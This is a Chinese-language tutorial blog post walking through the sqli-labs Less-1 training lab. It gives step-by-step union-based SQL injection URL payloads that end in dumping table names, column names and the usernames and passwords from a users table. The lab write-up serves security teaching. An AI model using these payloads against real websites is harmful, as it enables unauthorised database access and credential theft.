sqli-labs靶场 Less-1(详细版)

手把手教你sql注入,不相信你学不会!!!

判断是否存在注入  ?id=1'

报错,说明存在注入点。

判断数字类型,假设是字符型   ?id=1''

返回正常结果,说明是字符型。

判断闭合符号  ?id=1'--+

正常显示,说明构造只有一个单引号包裹

接下来联合查询,首先需要判断列数  ?id=1' order by 5--+

 报错,说明小于5.接下来进行改变数字尝试

说明只查询三列,但是只显示两列

查询显示位   ?id=1' union select 1,2,3--+

 还是只显示正常数据(显示位有限,优先显示前边显示为结果,后边自己添加的查询结果没有任何显示),接下来让前边查询不出来。?id=-1' union select 1,2,3--+ (或给一个条件为假 ?id=1' and1=2 union select 1,2,3--+  )

只显示2,3 说明显示位是第二列和第三列。

查询当前数据库   ?id=-1' union select 1,database(),3--+

 指明库名查询表   ?id=-1' union select 1,database(),table_name from information_schema.tables where table_schema=database()--+

 只显示一张表。想都输出出来时,需要使用函数group_concat()联合在一起    ?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

找到存放用户的表(users), 查询字段  ?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'--+

查询username和password字段   ?id=-1' union select 1,database(),group_concat(" ",username,":", password," ") from users--+ 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值